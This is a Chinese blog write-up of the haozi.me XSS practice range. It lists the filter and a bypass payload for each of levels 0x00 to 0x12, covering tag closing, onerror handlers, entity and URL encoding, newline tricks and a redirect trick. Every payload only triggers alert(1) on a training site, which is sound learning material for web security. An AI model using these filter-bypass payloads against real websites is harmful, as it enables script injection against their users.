XSS靶场练习

文章目录

  • XSS靶场练习
    • 0x00
    • 0x01
    • 0x02
    • 0x03
    • 0x04
    • 0x05
    • 0x06
    • 0x07
    • 0x08
    • 0x09
    • 0x0A
    • 0x0B
    • 0x0C
    • 0x0D
    • 0x0E
    • 0x0F
    • 0x10
    • 0x11
    • 0x12

靶场链接:

alert(1) (haozi.me)

0x00

送分题,这道题服务器没有对输入进行过滤,输入代码:

<script>alert(1)</script>

0x01

因为<textarea>为RCDATA元素,在<textarea>中的内容不会有脚本执行,仅仅将其作为普通文本显示,所以需要进行闭合绕过处理。

payload:

</textarea><script>alert(1)</script>
或
</textarea><script>alert(1)</script><textarea>

textarea 一般是用来接收用户输入,用于提交到服务器端,例如 网站的评论框。如果此框也用于显示服务器端回传的内容,即使将html代码段插入textarea, html代码段不会执行, 仅仅将其作为普通文本显示。

在浏览器解析RCDATA元素的过程中,解析器会进入“RCDATA状态”。在这个状态中,如果遇到“<”字符,它会转换到“RCDATA小于号状态”。如果“<”字符后没有紧跟着“/”和对应的标签名,解析器会转换回“RCDATA状态”。这意味着在RCDATA元素标签的内容中(例如<textarea>或<title>的内容中),唯一能够被解析器认做是标签的就是</textarea>或者</title>
因此,在<textarea>和<title>的内容中不会创建标签,就不会有脚本能够执行。

0x02

采用标签闭合的方式

payload:

"><script>alert(1)</script>

0x03

过滤括号()

payload:

<script>alert`1`</script>

0x04

过滤了括号和反引号,采用实体编码的方式绕过

payload:

<img src='0' onerror="alert(1)">

0x05

有注释,通过闭合开头的注释,进行绕过

payload:

--!><img src='0' onerror="alert(1)">

0x06

将 auto,on事件(如,οnclick=,onerror等)以及> 不区分大小写替换为 ‘_’

利用html不同行也能执行命令,换行处理绕过过滤机制

payload:

type="image" src=0 onerror
=alert(1)

0x07

将<>中的内容不区分大小写替换为空

html在解析中有一种纠错机制,img标签不写后面的“>”仍然是可以正常执行的

payload:

<img src=1 onerror='alert(1)'

0x08

将不区分大小写替换为/* \u574F\u4EBA */

利用html中不同行执行的特点,进行闭合

payload:

</style
>
<script>alert(1)</script>

0x09

payload中必须要有https://www.segmentfault.com这个网址

通过标签闭合以及注释的方式进行绕过

payload:

https://www.segmentfault.com"></script><script>alert(1)//
或
https://www.segmentfault.com"></script><script>alert(1)
-->

0x0A

在0x09关的基础上将&、'、"、<、>、\等字符转换为实体编码

采用重定向的方式进行绕过,由于不同的浏览器可能会有保护机制,所以本关可能不会显示成功。

payload:

https://www.segmentfault.com@127.0.0.1/a.js

a.js文件内容:

<script>alert(1)</script>

0x0B

将输入的内容转为大写

在html中语句是不区分大小写的,但在js中语句是严格区分大小写的,标签中的alert函数是js解析,所以需要对alert进行编码,采用实体编码

payload:

<img src=1 onerror="alert(1)">

方法二:

采用a标签,通过url编码绕过大写,点击 A这个链接进行触发

payload:

<a href="javascript:%61%6c%65%72%74%28%31%29">a

0x0C

将script不区分大小写进行替换,并将输入的内容转为大写

方法一:

采用img标签,实体编码的方式再次绕过

payload:

<img src=1 onerror="alert(1)">

方法二:

采用a标签,实体编码绕过script的过滤,url编码绕过大写,点击链接的进行触发

payload:

<a href="javascript:%61%6c%65%72%74%28%31%29">b

0x0D

< / " ' 替换为空,并且对输入的内容进行注释

通过换行并注释的方式成功绕过

payload:

alert(1)
-->

0x0E

<abc>中排在第一个的字母(a-z,A-Z),无论大小写都替换为 _,即<abc>替换为<_bc>

在html中ſ这个字符通过大写可以转换为S,并且在html中是不区分大小写的。

使用svg标签成功绕过。

payload:

<ſvg/onload='alert(1)'>

0x0F

将特殊字符转换为html实体编码放入img标签中的onerror事件中

解体思路:因为处于html标签中,单引号 ' 的实体编码是能识别的,并且()并没有被过滤。在HTML中程序可以不同行执行,通过闭合以及换行成功绕过。

payload:

')
alert(1)
('

0x10

送分题,直接 alert(1)

pladload:

alert(1)

0x11

将需要特殊字符进行了转义替换,但是他只是将\进行了转义,也就是说\\"第一个\将第二个\ 进行了转义,但是"还是原来的"

因为是var参数变量,所以需要先闭合,然后通过逗号,隔开。

payload:

"),alert(1)("
或
%22),alert(1)(%22

0x12

"替换为\\”

payload:

\");
alert(1);
-->

\"),alert(1);//

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-QnTVJlng-1659036596848)(F:/Typora/Typora_img/image-20220729032447368.png)]

这种不会执行成功,因为\"进行了转义,不再具有"的功能,所以执行失败

alert(1) (haozi.me)靶场练习相关推荐

  1. xss靶场、xss.haozi.me靶场详细通关教程

    文章目录 前言 预备知识 HTML编码 img的可拓展 各种payload形式 0x00 0x01 0x02 0x03(使用了正则过滤圆括号) 其它解法 0x04(使用正则过滤圆括号和反引号) 0x0 ...

  2. burpsuite靶场系列之客户端漏洞篇 - 跨站脚本(XSS)专题

    https://www.anquanke.com/post/id/245953 本系列介绍 PortSwigger是信息安全从业者必备工具burpsuite的发行商,作为网络空间安全的领导者,他们为信 ...

  3. 简单xss接收cookie平台的搭建以及xss拿cookie的一些总结

    接收平台的搭建_BlueLotus_XSSReceiver 这个是搭建教程: 打Cookie小工具_BlueLotus_XSSReceiver 链接:百度网盘 请输入提取码 提取码: tdoj 我是将 ...

  4. XSS表情包靶场通关记录

    平台 alert(1)https://xss.haozi.me 0X00 源码无防护,直接常规payload绕过 <script>alert(1)</script> <s ...

  5. [NOTE] Web For Pentester靶场练习笔记

    [NOTE] Web For Pentester靶场练习笔记 文章目录 [NOTE] Web For Pentester靶场练习笔记 前言 Web基础 PHP的session管理 HTTP认证 Web ...

  6. [NOTE] XVWA靶场练习笔记

    [NOTE] XVWA靶场练习笔记 文章目录 [NOTE] XVWA靶场练习笔记 前言 SQL Injection – Error Based 选择框 搜索栏 SQL Injection – Blin ...

  7. [NOTE] DSVW靶场练习笔记

    [NOTE] DSVW靶场练习笔记 文章目录 [NOTE] DSVW靶场练习笔记 前言 Blind SQL Injection (boolean) Blind SQL Injection (time) ...

  8. BUUCTF--练习场-- basic--上传文件漏洞经典靶场upload-labs-- Pass1-3(Pass4简单尝试)

    文件上传功能非常常见,上传图片.视频,论坛发送带上附件,邮件发送带上附件等场景 BUUCTF–练习场-- basic–上传文件漏洞经典靶场upload-labs Pass-1 先尝试上传一张正常的照片 ...

  9. xss挖掘思路分享_新手指南 | permeate靶场漏洞挖掘思路分享

    简介 最近在逛码云时候发现permeat靶场系统,感觉界面和业务场景设计的还不错.所以过来分享一下. 同时也是分享一下我平时挖掘漏洞的一些思路吧,这篇文章里虽然只简单介绍其中三种漏洞类型,但也是想是一 ...

  10. pikachu漏洞平台靶场练习 总结 wp

    每日学习 每日持续更新ing~ 之前一直都是在CTF刷题,感觉平常还是要打打靶场,学习一下实战环境啊~ 结合靶场视频:https://www.bilibili.com/video/BV1Y7411f7 ...

最新文章

  1. 查看mysql的编码格式
  2. javascript 检测 header下载文件--插件
  3. 2018.3.13 12周2次课
  4. 实现el-dialog的拖拽,全屏,缩小功能
  5. 数据中心巡检实操之UPS及电池
  6. python爬取地理数据_python爬取所有人位置信息——腾讯位置大数据
  7. PHP中环境变量的设置
  8. Non-zero CodeForces - 1300A
  9. 使用 Eclipse C/C++ Development Toolkit 开发应用程序
  10. matlab中定点数16位转为14位,如何使用python将浮点数转换为具有预定义位数的固定点...
  11. 小胖IT大讲堂之一 .NET Reflector工具介绍
  12. java基础学习及总结
  13. sip协议详解 系列(一)
  14. SDL Trados 2019 (SR2)的下载和安装
  15. 全面理解Gatner的企业信息管理成熟度模型
  16. 时间搓转换剩余时间 php
  17. 小鑫の日常系列故事(七)——小纸条
  18. 自媒体人必备神器,200w+自媒体人都在用
  19. 易语言模拟器中控源码 全新手游模拟器通用中控源码, 适用于各种游戏, 源码现成的只需要更换游戏就可以用哦
  20. Linear Discriminant Analysis (LDA)

热门文章

  1. 网易pop3服务器没有响应,网易“封杀”QQ邮箱?POP3服务已关闭
  2. PMBOK(第六版) 学习笔记 ——《第十三章 项目相关方管理》
  3. solidworks一份草图多次拉伸与多次凸台
  4. JS window对象
  5. [论文阅读]PIXER: an automated particle-selection method based on segmentation using deep neural network
  6. 动态规划和分治法解合唱队形问题
  7. Vot-Toolkit环境配置指南
  8. 阿里云:疫情期间全力保障教育平台“停课不停学”
  9. 选票统计 SDUT
  10. perl data::dumper 模块使用